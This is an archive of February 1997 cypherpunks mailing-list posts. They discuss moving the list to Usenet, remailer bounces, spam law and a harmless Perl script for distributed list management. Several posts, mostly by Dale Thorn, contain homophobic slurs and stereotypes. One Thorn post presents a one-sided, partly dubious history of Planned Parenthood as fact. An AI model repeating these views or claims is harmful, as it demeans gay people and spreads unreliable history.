Date: Fri, 14 Feb 1997 02:45:09 -0800 (PST)
To: cypherpunks@algebra.com
Subject: No Subject
Message-ID: <33035597.64782219@news.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



Cypherpunks,

I have newsgrouped some further alt.groups as follows:

alt.cypherpunks.announce
alt.cypherpunks.technical
alt.cypherpunks.social

I recommend that posters crosspost as follows:

All messages, apart from announcements, go to alt.cypherpunks.
Alt.cypherpunks.announce holds announcements only and it`s
contents is disjoint with that of alt.cypherpunks.

Alt.cypherpunks.technical: All posts to this group are also
crossposted to alt.cypherpunks

alt.cypherpunks.social: All posts to this group are also
crossposted to alt.cypherpunks.

The newsgroup names are pretty self explanatory but technical is just
for technical discussion and social for discussion of social and
political issues regarding cryptography. 

With this crossposting scheme readers can either get the whole content
or just the part they want easily without filtering working overtime,
for instance, I might choose to subscribe to alt.cypherpunks.technical
and only dip into alt.cypherpunks.social when I felt like a flame war
;-)

As I said, its only a guideline of course and post what you want where
you want but i feel this organisation allows people to easily choose
the part of the discussion they want to read.



  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 16:10:02 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Cypherpunks Distributed Remailer (fwd)
Message-ID: <199702140016.SAA05170@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 13:50 EDT
> From: "E. Allen Smith" <EALLENSMITH@ocelot.rutgers.edu>
> Subject: Re: Cypherpunks Distributed Remailer (fwd)

> 	Well, if you can't deliver mail because their mailbox is full, then
> you should simply wait a few days before trying to deliver mail to that
> address. If it's because the address isn't there any more, you should delete
> it from the subscription lists. Otherwise, the instant people's mail quotas
> overflow (e.g., they're on AOL and they haven't been able to get through the
> clogged lines), they get bounced... or you're left with a lot of invalid
> addresses.

If their mailbox is full I might let it sit a day. If I still get a bounce
after that I currently yank it. As I stated earlier, I am currently trying to
decide if daily or weekly purges are in order. I personaly lean toward daily.
I certainly am not buying disk space just so somebody else can use it for
storing things they don't personaly have room for.

> The address causing the bounce is not necessarily determinable
> automatically from the bounce message; if it isn't, then you need to keep a
> copy around for a human to look at.

Hmmm, to date I haven't had a problem determining where the cause was
from the bounces I see. I can't always tell why but it always seems to
say whose email address was involved.

> 	Given that there are pre-existing news-mail gateways, I'd think that
> the programs should be available. My concern on the programming is more in
> the realm of keeping the thing up and running.

If you get it up and running there should be no programming involved. Unless
you want to reconfigure.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "KENNETH A. LEONE" <70401.3161@CompuServe.COM>
Date: Thu, 13 Feb 1997 15:19:13 -0800 (PST)
To: cypherpunks <cypherpunks@toad.com>
Subject: REMOVE FROM MAILINGS
Message-ID: <970213231721_70401.3161_IHD121-1@CompuServe.COM>
MIME-Version: 1.0
Content-Type: text/plain


PLEASE REMOVE MY NAME AND ADDRESS FROM YOUR MAILINGS.

THANK YOU





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Pearson <john@cognac.apana.org.au>
Date: Thu, 13 Feb 1997 11:05:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <199702120549.VAA07146@toad.com>
Message-ID: <m0vuw3H-000JGWC@cognac.apana.org.au>
MIME-Version: 1.0
Content-Type: text/plain


> Hey, folks,
> 
> I thought all you had to do to create an alt.group was to have a news admin
> somewhere just make a group; send out a control message of somekind. I
> thought that alt groups didn't have to go through a charter, or voting
> process, or anything else. They just happened.
> 
> Then, everyone just has to tell their local news admin that they went to
> see it, or they can wait until their news admin sees it flying by, and adds
> it to the available groups list at his own discretion.
> 
> It's not like we want comp.cypherpunks or something, with a voting process,
> right?
> 

It's not quite that simple.  While a "Big 7" group requires CFD, charter
and voting, once you pass tthose hurdles you're virtually guaranteed good
propagation.  alt has no "set" creartion procedure, but your group will
not receive good propagation unless the powers that be "approve" of the 
idea.

In this case, the people you have to convince are the news admins who must
permit your control message to be honoured; time was most sites ran on
autopilot, but joke and badly-named groups mean that most news admins
now drop most newgroup messages on the floor.  These people hang out in
alt.config, and you should propose the group's creation there, followed
by a couple of weeks of discussion, hopefully featuring many more 
supportive messages than non-supportive ones.  After that, a newgroup 
message stands a much better chance.

> Cheers,
> Bob Hettinga
> 
> 
>

Hip hip,

John P. 
john@huiac.apana.org.au






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Thomas Roessler <Thomas.Roessler@sobolev.rhein.de>
Date: Thu, 13 Feb 1997 10:16:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: distributed mailing list architecture
In-Reply-To: <199702072011.UAA00463@server.test.net>
Message-ID: <199702131812.TAA17470@sobolev.rhein.de>
MIME-Version: 1.0
Content-Type: text/plain


Maybe you have some use for the appended perl script.  I created it for a
list setup quite similar to what is currently being discussed on
cypherpunks.  It has never ever been used in production; you'll notice
yourself that the code is not too nice.

The script currently tries to handle majordomo and SmartList exploders; at
least SmartList needs to be hacked a little bit to avoid daily subscription
approvals to people being moved between different sub-lists.

Distribute and use this script freely; credit is appreciated.

tlr
------------------------------
#!/usr/bin/perl

############################################################
#
# $Id: distlist.pl,v 1.2 1997/01/24 17:20:38 roessler Exp $
#

#
# Handle distributed mailing lists.
#

require 'getopts.pl';

$c_sublists='lists';		# Data about the sublists
$c_distfile='dist';		# A list of mail addresses
$c_datafile='dist.data';	# _Our_ list of addresses
$c_contact='roessler@sobolev.rhein.de';
				# Whom to contact in case of problems
$sendmail="| /usr/sbin/sendmail -t -odq";


$debug=0;			# Debugging output.  Can also be
				# turned on by using the -x switch.

$signature="-- \nThis mail has been generated automatically by the distlist\n".
    "program. Please contact $c_contact in case of problems.\n";


@sublists=();
@newsubs=();

#
# Command line processing
#

&dprint (1, 'Processing the command line...\n');
&Getopts('s:d:D:c:x:');

$c_sublists=$opt_s if $opt_s;
$c_distfile=$opt_d if $opt_d;
$c_datafile=$opt_D if $opt_D;
$c_contact=$opt_c  if $opt_c;
$debug=$opt_x	   if $opt_x;

#
# Read the data and config files, perform various checks.
#

#
# sublists
#

&dprint(1, "Reading $c_sublists...");

# format: addr:maxsubscr:listtype:password:adminrequest:maintainer

open(SUBLISTS, $c_sublists) || die("Can't open $c_sublists");
SUBLIST: while(<SUBLISTS>) {
    next SUBLIST if /^#/ || /^$/;
    chop;
    ($addr, $maxsubscr, $listtype, $password, $admin, $maintainer) = split(/:/, $_);
    $s_maxsubscr{$addr}=$maxsubscr;
    $s_listtype{$addr}=$listtype;
    $s_password{$addr}=$password;
    $s_admin{$addr}=$admin;
    $s_maintainer{$addr}=$maintainer;
    $s_onlist{$addr}=0;
    $s_addem{$addr}="";
    $s_delem{$addr}="";
    &dprint(3,"Parsed list $addr: maximum $maxsubscr people; listtype $listtype; password $password.; administrative address $admin; maintainer $maintainer");
    @sublists=(@sublists, $addr);
}

close(SUBLISTS);

# In addition, we define a special list for people to be redistributed later.

$s_maxsubscr{'later'}=100000;		# Very big. ;)
$s_listtype{'later'}="";
$s_password{'later'}="";
$s_onlist{'later'}=0;
$s_addem{'later'}="";
$s_delem{'later'}="";

#
# Read our dist file
#



# format: user:list

if(open(DATAFILE, $c_datafile)) {
    &dprint(1, "Reading $c_datafile...");

  USERLINE: while(<DATAFILE>) {
      next USERLINE if /^#/ || /^$/;
      chop;
      ($user, $list) = split(/:/, $_);
      
      # Check if the list exists; handle user.
      
      if(! $s_maxsubscr{$list}) {
	  &dprint(2, "While checking user $user:  $list does no longer exist.");
	  $list="later";
      } elsif( $s_onlist{$list} >= $s_maxsubscr{$list} ) {
	  &dprint(2, "Warning: $list is full.  Redistributing people later.");
	  $s_delem{$list}=join(':',$user,$s_delem{$list});
	  $list="later";
      } 
      
      $s_onlist{$list}++;
      $u_list{$user}=$list;
      
      $deletem{$user}=$user;
  }
    
    close(DATAFILE);
    &dprint(1,"$c_datafile finished.");
} else {
    &dprint(1, "Warning:  Can't read $c_datafile.");
}


#
# Now, read the real distribution file.
#

&dprint(1, "Reading $c_distfile...");

open(DISTFILE, $c_distfile) || die("Can't open $c_distfile");

 DISTLINE: while(<DISTFILE>) {
     next DISTLINE if /^#/ || /^$/ || /^\(/;
     chop;
     
     if(!$u_list{$_}) {			# A new member.
	 &dprint(2, "Found a new member: $_.");
	 @newsubs=($_, @newsubs);
     } else {				# We know him.
	 &dprint(3, "Well-known: $_.");
	 delete $deletem{$_};
     }
     
 }

close(DISTFILE);


#
# Handle deletions.
#

foreach $user (keys %deletem) {
    $list=$u_list{$user};
    delete $u_list{$user};
    $s_onlist{$list}--;
    $s_delem{$list}=join(':', $s_delem{$list}, $user);
    &dprint(3, "Removing $user from sublist $list.");
}

#
# Handle postponed subscriptions:  The later list.
#

foreach (keys %u_list) {
    next unless $u_list{$_} eq "later";
    @newsubs=($_, @newsubs);
    delete $u_list{$_};
    &dprint(3, "Adding $_ to the list of new subscriptions.  Was postponed.");
}


&dprint(1, "Distributing new subscriptions...");

 NEWSUBS: foreach $user (@newsubs) {

     $avg=0.0;
     foreach $l (@sublists) {
	 $avg += $s_onlist{$l}/$s_maxsubscr{$l};
     }
     
     $avg = $avg / ($#sublists + 1.0);
     
     if ($avg >= 1) {
	 &dprint(2, "Warning: All sublists are full while trying to insert $user.");
     }

     undef $possible;

     foreach $l (@sublists) {
	 if($s_onlist{$l} <= $avg*$s_maxsubscr{$l}) {
	     $possible=$l;
	 }

	 if($s_onlist{$l} < $avg*$s_maxsubscr{$l}) {
	     last;
	 }
     }

     if($possible) {
	 $l = $possible;
     }
     
     $s_addem{$l}=join(':', $s_addem{$l}, $user);
     $s_onlist{$l}++;
     $u_list{$user}=$l;
     
 }

#
# Write our own data file.
#

if(open(DATAFILE, ">$c_datafile")) {
    foreach (keys %u_list) {
	printf DATAFILE "%s:%s\n", $_, $u_list{$_};
    }
    close(DATAFILE);
} else {
    &dprint(1, "Warning: Can't write $c_datafile.");
}

#
# The lists have been put together.  Commit the changes.
#

&dprint(1, "Committing the changes...");

foreach $l (@sublists) {
    if($s_listtype{$l} eq "majordomo") {
	&commit_majordomo($l);
    } elsif ($s_listtype{$l} eq "smartlist") {
	&commit_smartlist($l);
    } else {
	&dprint(1, "While trying to commit changes for $l:");
	&dprint(1, "Unknown list type $s_listtype{$l}.\n");
    }
}

#
# To be done:  Print out some statistics.
#

print "Distlist results:\n";
print "-----------------\n";
print "\n";
printf "There are currently %d subscribers on %d sublists.\n\n", scalar(keys %u_list), $#sublists+1;

$full_lists=0;

printf "%-40s     on  max\n", "Name";
printf "----------------------------------------------------\n";

foreach $l (@sublists) {
    printf "%-40s   %4d %4d", $l, $s_onlist{$l}, $s_maxsubscr{$l};
    
    if($s_onlist{$l} >= $s_maxsubscr{$l}) {
	print "   *** This list is full ***";
	$full_lists++;
    }

    print "\n";
}

if($full_lists) {
    print "\n$full_lists of the sublists are *full*.  Please get in touch\n";
    print "with the maintainers.\n";
}

print "\n\n";
print $signature;

############################################################
#
# Some helper functions.
#

# Print out diagnostics.

sub dprint
{
    if($_[0] <= $debug) {
	printf STDERR "%s\n", $_[1];
    }
}


sub commit_majordomo
{
    my $list=$_[0];
    my @bla;
    my $ll;
    my $user;

    &dprint(2, "Committing changes to majordomo list $list");
    &dprint(3, "to be added: $s_addem{$list}");
    &dprint(3, "to be deleted: $s_delem{$list}");

    ($ll, @bla)=split(/@/, $list);

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Warning:  Can't start sendmail when committing changes to $list");
    }

    print SENDMAIL "To: $s_admin{$list}\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "\n\n";
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	print SENDMAIL "approve $s_password{$list} subscribe $ll $user\n"
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	print SENDMAIL "approve $s_password{$list} unsubscribe $ll $user\n"
	    unless $u_list{$user} eq $list;
    }

    print SENDMAIL $signature;
    
    close(SENDMAIL);
}

sub smartlist_xcommand
{
    my ($list, $to, $passwd, $command, $maintainer) = @_;

    if(!open(SENDMAIL, $sendmail)) {
	&dprint(1, "Can't start sendmail when committing changes for $list");
    }

    print SENDMAIL "To: $to\n";
    print SENDMAIL "From: $c_contact\n";
    print SENDMAIL "X-Command: $maintainer $passwd $command\n";
    print SENDMAIL "\n\n";
    print SENDMAIL $signature;

    close SENDMAIL;
}	
	
    

sub commit_smartlist
{
    my $list=$_[0];
    my @bla;
    my $user;

    &dprint(2, "Committing changes to smartlist list $list");
    
    foreach $user (@bla=split(/:/, $s_addem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "subscribe $user", $s_maintainer{$list})
	    if $u_list{$user};
    }

    foreach $user (@bla=split(/:/, $s_delem{$list})) {
	&smartlist_xcommand($list, $s_admin{$list}, $s_password{$list},
			    "unsubscribe $user", $s_maintainer{$list})
	    unless $u_list{$user} eq $list;
    }
}





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Thu, 13 Feb 1997 19:09:31 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
In-Reply-To: <199702131535.JAA20917@manifold.algebra.com>
Message-ID: <v03007808af29889a687e@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 2:17 PM -0800 2/13/97, Leonard Janke wrote:

>That being said, I fully support the idea of a comp.* newgroup,
>over an alt.* group. The important advantages are the greater
>propogation many have described, and the reduction in "outsider"
>noise. I also think that people interested in computing
>in general might be more likely to stumble onto the newsgroup,
>since the comp.* hierachy is so much smaller than the alt.*
>hierachy.

Given that _political_ discussions of crypto are now encouraged in
_talk_.politics.crypto (emphasis added) rather than sci.crypt, do you think
political and social essays dealing with crypto anarchy, offshore
databases, undermining governments, etc., will be welcome in the "comp"
hierarchy?

I rather doubt it. And I would bet that if comp.org.cypherpunks is ever
approved, those who dislike crypto anarchy and sociopolitical chatter will
use the "comp" name to try to suppress such discussions.

And thus comp.org.cypherpunks will be mostly a duplicate of sci.crypt and
other such groups.

>To be fair, though, I doubt that anyone would seriously try to
>disrupt the creation, given the dedication I am seeing people putting
>into finding a new home (or homes!) for the list, and that there does not
>seem to be anyone dedicated to distrupting that process as John Gilmore
>worried there would be. (And I am on the unedited list, too!)

Sorry, Leonard, but this is one of the most naive statements I've ever
heard. You really think whoever is spamming the list with ASCII art and
broke into Paul's account to post hundreds of "John Gilmore is a
cocksucker" posts will back off because of the "dedication" of some? To the
perverse personality, this is merely a greater challenge and temptation.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 19:37:10 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: Moderation experiment almost over; "put up or shut up"
In-Reply-To: <Pine.LNX.3.95.970213111917.9322A-100000@dhp.com>
Message-ID: <3303DD64.3685@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


aga wrote:
> On 12 Feb 1997, Against Moderation wrote:
> > aga <aga@dhp.com> writes:
> > > Yes, and just why is Gilmore such a jerk?  Could his homosexuality
> > > have anything to do with it?

> > Doubtful.  Given the fact that gay people suffer a great deal of
> > discrimination, they generally tend to be fairly open-minded.  I see
> > no reason to believe Gilmore is in fact gay, but if he is it in no way
> > affects my opinion of him.

(It sure doesn't affect my opinion of him.  He's such a total jerk
and a conspiring creep that I haven't had to consider anything else).

Funny, isn't it?  Those people who *allegedly* suffer the most dis-
crimination seem to be having the most fun, if you can call it that.
If I were gay, which I'm not, I could get all the boyfriends I want.
But being heterosexual, I would very much like to have women friends
(just as friends mind you) for ordinary social purposes, yet it's not
that easy.  I'd guess the gays are much more liberal with their multi-
friendships than straight people are.

Another funny thing - I'm an ordinary English/Welsh/Dutch White person,
and I've had plenty of White friends, and an equal percentage of Black
friends given the number of Black people I've known, but I've never
had a friend who was gay or lesbian, as far as I know, and I think
I could tell.  I can only guess that the gays are very clique-ish,
or their brains are wired differently than non-gays.

> Well, the fact remains that the homos are instrumental in creating and
> forming a cliquish and censored usenet.  There is just no question
> about that.  Remember the previous cypherpunk who stated that the
> gays "created and run usenet."
[snip]
> It is very logical and wise to discriminate on the basis of sex.
> I am not a racist, so therefore I can not be a "bigot," regardless of
> my views on homosexuality.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 13 Feb 1997 19:57:38 -0800 (PST)
To: cypherpunks@toad.com
Subject: Dale disses gays.
Message-ID: <199702140357.TAA13962@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Date: Thu, 13 Feb 1997 19:35:01 -0800
From: Dale Thorn <dthorn@gte.net>

:Another funny thing - I'm an ordinary English/Welsh/Dutch White :person,

Makes me hate myself.

:and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

How, Dale, by the smell?

:I can only guess that the gays are very clique-ish,
:or their brains are wired differently than non-gays.

Perhaps the hard wiring makes it possible for them to avoid bigots like you. 

Sign him up to pass out the pink triangles.

What a fraud!

Still love you, big guy.
Can you tell?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Attila T. Hun" <attila@primenet.com>
Date: Thu, 13 Feb 1997 12:17:44 -0800 (PST)
To: "Timothy C. May" <cypherpunks@toad.com
Subject: Re: (2) More on Digital Postage
In-Reply-To: <v03007800af28f71d3a32@[207.167.93.63]>
Message-ID: <199702132017.NAA06984@infowest.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

on or about 970213:0902 "Timothy C. May" <tcmay@got.net> said:

+At 5:00 AM +0000 2/13/97, Attila T. Hun wrote:

+>    unfortunately, until the irresponsible tone down their greed, we
+>    need the regulation to protect ourselves from the predators.
+>
+>    in other words, I agree with you in my heart, but our society
+>    refuses to cooperate.

+Attila and I have had this disagreement before (last time it involved
+Attila's support for curfews).

+Attila is free to hire agents to screen his mail so he does not receive
+spam. He is not free, in a free society, to force such screeners upon
+me.

    very true. if you if define that your freedom includes the free 
    abuse of your freedoms by others.  freedom is a two way street; 
    freedom in my book says that I can do anything I wish which does 
    not infringe on the rights of others. now, that implies that I can 
    _personally_ exact justice on those who violate my space.  this is 
    a state of war which even Jim Bell's AP does not cover --AP is just 
    an anonymous and chicken-hearted way of settling the score, and 
    creates its own code even more absurb than the rules coming down 
    from Washington.

    and, I can not imagine you really believe the basic animals of our 
    society and the predators who attempt to feed upon us all do not 
    need to be restrained in one way or another.  you obviously have
    a solution: your .44 (I prefer a full choke 12 ga pump).

    maybe the comment in my sig line is an expression of the suppressed 
    feelings of the frustrated members of our society who have been 
    confronted by the inequities of our legal system when they expected 
    redress was their right.

+Talking about "irresponsible tones" and "greed" and how we need more
+laws to protect ourselves from "predators" sounds more like something
+from the Marin County limousine liberal set than from a Utah mountain
+man Cypherpunk. I'm shocked, simply shocked.

    shocked, simply shocked?  (:-})  marin county? I'm insulted <g>

    tell you what: you run afoul of us out here on the "mountain" where 
    there is no need for social niceties --we just call it "range law."
 
    
 ___________________________________________________________attila_____
  "Explain to me, slowly and carefully, 
    why if person A, when screwed over on a deal by B; 
    is morally obligated to consult, pay, and defer to, person C 
    for the purpose of seeing justice done; 
    and why person C has any legitimate gripe,
    if A just hauls off and smacks B around like a dead carp." 
 ___________________________________________________________attila_____
 "attila" 1024/C20B6905/23 D0 FA 7F 6A 8F 60 66 BC AF AE 56 98 C0 D7 B0

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3i
Charset: latin1
Comment: No safety this side of the grave. Never was; never will be

iQCVAwUBMwN12b04kQrCC2kFAQG8AwP/fT3BgeMG8V9IKOGjFEpI+3gY8F5cSohh
8qqaMrHkYT7UU1WZcO/1pGJyUycvOUgzzlFJoTYZsxP6NvJhpkGopHg31EUBDfC+
5lFDJR1hlX6ckyL8moDlxi3l0z7Dxf6VO+J5dsCetmJG+QxN7/0PzeplN5oN9Y1V
nHzMG5/FD5Y=
=G/Ag
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:16:28 -0800 (PST)
To: freedom-knights@jetcafe.org
Subject: Re: N.Y. judge rules for Planned Parenthood in web site case
In-Reply-To: <Xmy32D2w165w@bwalk.dm.com>
Message-ID: <3303E6CE.2D43@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Dr.Dimitri Vulis KOTM wrote:
> A federal judge has temporarily stopped an abortion foe from
> identifying his web site as belonging to Planned Parenthood and
> selling an anti-abortion book from that home page. The temporary
> restraining order, issued Wednesday, stops Richard Bucci from
> identifying his home page as "Planned Parenthood's Home Page" and
> using "plannedparenthood.com" as a domain name. Planned Parenthood,
> which has its own web site, sued Bucci for trademark infringement. The
> next hearing is slated for Feb. 20. For the full text story, see
> http://www.merc.com/stories/cgi/story.cgi?id=1426121-b7e

"Planned Parenthood". Has a nice ring to it, eh? Let's look at some
history:

Founded by Margaret Sanger (1879-1966).
Publisher of Birth Control Review.
Associate Henry Laughlin:
  Honorary MD from Heidelburg U (1936).
  Author of Hitler's Model Eugenical Sterilization Law.
  Author of "Mandatory Sterilization In The USA", published
   in Birth Control Review.
Associate Dr. Ernst Rudin:
  Director of Nazi Medical Experimentation program;
   commissioned to write for Birth Control Review.
Associate Dr. Lothrop Stoddard:
  Director, American Birth Control League.
  Vocal supporter of Nazis and their sterilization programs.
  Author of "The Rising Tide Of Color Against White Supremacy".
  Quote: "More children from the fit - less from the unfit. That
         is the chief aim of birth control." -from Birth Control
         Review circa 1921.

Margaret described her plan to depopulate the Blacks in the U.S. in
a private letter to Clarence Gamble, dated Oct. 19, 1939.  Her plan
was to hire Black ministers with engaging personalities to travel
thru the South to propagandize for birth control.  It was believed
that the best access to the Blacks was thru religion, and Sanger's
steering committee wanted to create the illusion that these projects
were under the control of the local Black leaders.

For those of you who don't know, there were a lot of successful
sterilizations in the U.S. when these programs were in effect during
Sanger's earlier years.  Persons wishing to research this should
also check Shockley, the transistor guy who won a Nobel prize for
something or other, and his friendship with George Bush et al.

I believe it was A&E channel that ran the Sanger TV-movie disinfor-
mation/propaganda a year or so ago.  You know, the channel that has
been described by critics as "All Hitler, all the time".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Thu, 13 Feb 1997 17:22:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Technology and the Electronic Economy
Message-ID: <1.5.4.32.19970214011616.006f0850@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


We've put the IEEE Spectrum special issue on Technology
and the Electronic Economy, with 13 articles previously listed 
here, at:

   http://jya.com/tee.htm






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 20:50:18 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale disses gays.
In-Reply-To: <199702140357.TAA13962@mailmasher.com>
Message-ID: <3303EEC3.61EB@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:

> :and I've had plenty of White friends, and an equal percentage of :Black friends given the number of Black people I've known, but I've :never had a friend who was gay or lesbian, as far as I know, and I :think I could tell.

> How, Dale, by the smell?

I worked for a gay man in Beverly Hills and Encino for 3 years.  I
learned a lot about "signals" during that time.  Bigot?  I don't
think so.  One of my favorite customers, a nice lady who is Jewish
(and who grew up where I did) told me she could spot 'em every time.

> Sign him up to pass out the pink triangles.
> What a fraud!  Still love you, big guy.  Can you tell?

I'll bet you do!  Er, I wouldn't bend over in front of you, that is.
No offense, ya' know.

BTW, my browser has a problem with your lines that have no c/r after
every 70 or so characters. Other people will undoubtedly confirm that.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 21:09:08 -0800 (PST)
To: Bill Stewart <gnu@toad.com
Subject: Re: Cypherpunks-announce? Do we need to recreate this?
Message-ID: <3.0.32.19970213205346.006c3668@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


At 12:51 AM 2/13/97 -0800, Bill Stewart wrote:
>So far it's carried 1-2 announcements per month.
>Should we create it as a mailing list, moderated or unmoderated,
>or as a newsgroup?  (It's been a moderated mailing list, run by John and
>Hugh.)

Deja-News now carries both alt.cypherpunks and alt.cypherpunks.announce.
There was never a problem with cypherpunks-announce. Whoever volunteered to
run the monthly meeting just emailed to Hugh, who posted the announcement.
I would suggest to avoid fixing what isn't broken and make
alt.cypherpunks.announce a moderated list with Hugh and Eric as the
moderators.

The cypherpunks* lists on toad.com could be set up as mail-to-news gateways
(I volunteer to do so if needed) and all current subscribers unsubscribed
after a suitable warning outlining ways of accessing USENET. If the list
owner should so desire, I volunteer to write the tutorial.


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Thu, 13 Feb 1997 21:03:57 -0800 (PST)
To: cypherpunks@toad.com
Subject: Good Bye Cypherpunks!
Message-ID: <3.0.32.19970213210412.006ef344@192.100.81.136>
MIME-Version: 1.0
Content-Type: text/plain


Friends,
I have been on the list since May 1993, after reading about it in Wired
1.2. The list impacted my life more than any other medium.
I knew little about cryptography when I joined the list. Now I work in the
field. Some of the subscribers on this list have become my personal
friends. Many have become co-workers or clients. The list has been good to me.

But it is time to move on. Cypherpunks@toad.com has come to an end, and
perhaps it was time.

See you all on USENET

mailto:cypherpunks@toad.com is dead. Long live news:alt.cypherpunks

Umsuscrive message follows ;-)


-- Lucky Green <mailto:shamrock@netcom.com> PGP encrypted mail preferred

   "I do believe that where there is a choice only between cowardice and
    violence, I would advise violence." Mahatma Gandhi




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 20:50:53 -0800 (PST)
To: tcmay@got.net (Timothy C. May)
Subject: Re: (2) More on Digital Postage
In-Reply-To: <199702132327.PAA13638@toad.com>
Message-ID: <199702140554.VAA14691@songbird.com>
MIME-Version: 1.0
Content-Type: text


Timothy C. May allegedly said:
> 
[...]
> By the way, I think the "junk fax" and "junk phone call" laws are clearcut
> violations of the First Amendment.

You are entitled to any tortuous idiosyncratic opinion you care to
hold, of course.

> I understand why the herd _wants_ these
> laws, as it reduces the costs involved in replacing fax paper, running to
> the telephone only to find someone trying to sell something, etc., but it
> is quite clearly a prior restraint on speech, however well-intentioned.

"Prior restraint" is not a magic key.  Not all speech is protected.  
Of course, once again, you are free to disagree with the massive 
body of legal precedent on this issue.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Thu, 13 Feb 1997 20:07:50 -0800 (PST)
To: stend@sten.tivoli.com (Firebeard)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <vpafp876ss.fsf@grendel.tivoli.com>
Message-ID: <199702140400.WAA28065@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Firebeard wrote:
> 
> >>>>> Igor Chudov @ home writes:
> 
> IC> This is where the distributed nature of the list comes in.  if
> IC> someone disagrees with Jim's AUP, he or she can use soem other
> IC> mailing list host.
> 
> 	And once I'm up and running, my cypherpunks list server will
> not be interconnected with any server which has a similar AUP.  The
> implication of the AUP is that if you _don't_ comply with it, you will
> be blocked.  Without such an implication, the AUP is meaningless, and
> I'm dedicated that there should be no filtering/blocking of any kind,
> of the list.  Persons behaving 'unacceptably' should be handled by
> social pressures by others in the 'community' of the list, and not by
> policies of the list operators.

Which is, again, a perfectly fine idea.

I would probably disconnect from any server that 

a) does not let certain messages go through (unless they are fighting a DOS
attack) and
b) Alters content of any messages.


	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Thu, 13 Feb 1997 19:06:35 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: alt.cypherpunks
In-Reply-To: <m0vuw3H-000JGWC@cognac.apana.org.au>
Message-ID: <0n0xNr200YUh03LuM0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


